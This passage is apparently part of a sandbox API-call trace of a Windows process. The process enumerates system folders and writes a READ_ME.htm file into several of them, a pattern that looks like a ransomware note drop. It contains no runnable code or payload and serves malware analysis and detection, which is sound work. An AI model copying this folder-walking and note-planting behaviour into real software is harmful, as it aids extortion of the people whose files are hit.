"c:\\boot\\zh-tw\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.801] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.801] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.801] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.801] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.802] SetErrorMode (uMode=0x0) returned 0x1 [0130.802] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0130.802] SetErrorMode (uMode=0x1) returned 0x0 [0130.802] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*" (normalized: "c:\\boot\\zh-tw\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.802] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.802] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.803] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.803] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.803] SetErrorMode (uMode=0x0) returned 0x1 [0130.803] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.803] SetErrorMode (uMode=0x1) returned 0x0 [0130.803] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\READ_ME.htm" (normalized: "c:\\boot\\zh-tw\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.804] SetErrorMode (uMode=0x0) returned 0x1 [0130.804] GetFileType (hFile=0x1bc) returned 0x1 [0130.805] WriteFile (in: hFile=0x1bc, lpBuffer=0x28e0110*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28e0110*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.807] GetFullPathNameW (in: lpFileName="C:\\Boot\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\READ_ME.htm", lpFilePart=0x0) returned 0x13 [0130.807] SetErrorMode (uMode=0x1) returned 0x0 [0130.808] CreateFileW (lpFileName="C:\\Boot\\READ_ME.htm" (normalized: "c:\\boot\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.808] SetErrorMode (uMode=0x0) returned 0x1 [0130.808] GetFileType (hFile=0x1bc) returned 0x1 [0130.809] WriteFile (in: hFile=0x1bc, lpBuffer=0x28e4620*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d698, lpOverlapped=0x0 | out: lpBuffer=0x28e4620*, lpNumberOfBytesWritten=0x21d698*=0x720, lpOverlapped=0x0) returned 1 [0130.811] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0130.812] SetErrorMode (uMode=0x1) returned 0x0 [0130.812] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*" (normalized: "c:\\documents and settings\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0131.097] SetErrorMode (uMode=0x0) returned 0x1 [0131.102] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0131.103] SetErrorMode (uMode=0x1) returned 0x0 [0131.103] CreateFileW (lpFileName="C:\\Documents and Settings\\READ_ME.htm" (normalized: "c:\\documents and settings\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0131.105] GetFileType (hFile=0x1bc) returned 0x1 [0131.105] SetErrorMode (uMode=0x0) returned 0x1 [0131.105] GetFileType (hFile=0x1bc) returned 0x1 [0131.105] WriteFile (in: hFile=0x1bc, lpBuffer=0x2908978*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d698, lpOverlapped=0x0 | out: lpBuffer=0x2908978*, lpNumberOfBytesWritten=0x21d698*=0x720, lpOverlapped=0x0) returned 1 [0131.107] CloseHandle (hObject=0x1bc) returned 1 [0131.108] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0131.109] SetErrorMode (uMode=0x1) returned 0x0 [0131.109] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0131.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0131.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0131.123] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0131.123] SetErrorMode (uMode=0x0) returned 0x1 [0131.123] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0131.124] SetErrorMode (uMode=0x1) returned 0x0 [0131.124] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0131.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0131.125] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0131.126] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0131.126] SetErrorMode (uMode=0x0) returned 0x1 [0131.126] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0131.127] SetErrorMode (uMode=0x1) returned 0x0 [0131.127] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*" (normalized: "c:\\msocache\\all users\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0131.140] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcac49d00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac49d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0011-0000-0000-0000000FF1CE}-C", cAlternateFileName="{90160~2")) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0016-0409-0000-0000000FF1CE}-C", cAlternateFileName="{974F5~1")) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0018-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9CA7F~1")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0019-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9032D~1")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001A-0409-0000-0000000FF1CE}-C", cAlternateFileName="{98E9A~1")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E8C9~1")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-002C-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~3")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0044-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E0A5~1")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0090-0409-0000-0000000FF1CE}-C", cAlternateFileName="{935E4~1")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00A1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9155A~1")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00BA-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97C62~1")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9C97F~1")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E2-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97E7F~1")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0115-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9AA2F~1")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0116-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~1")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0117-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~4")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 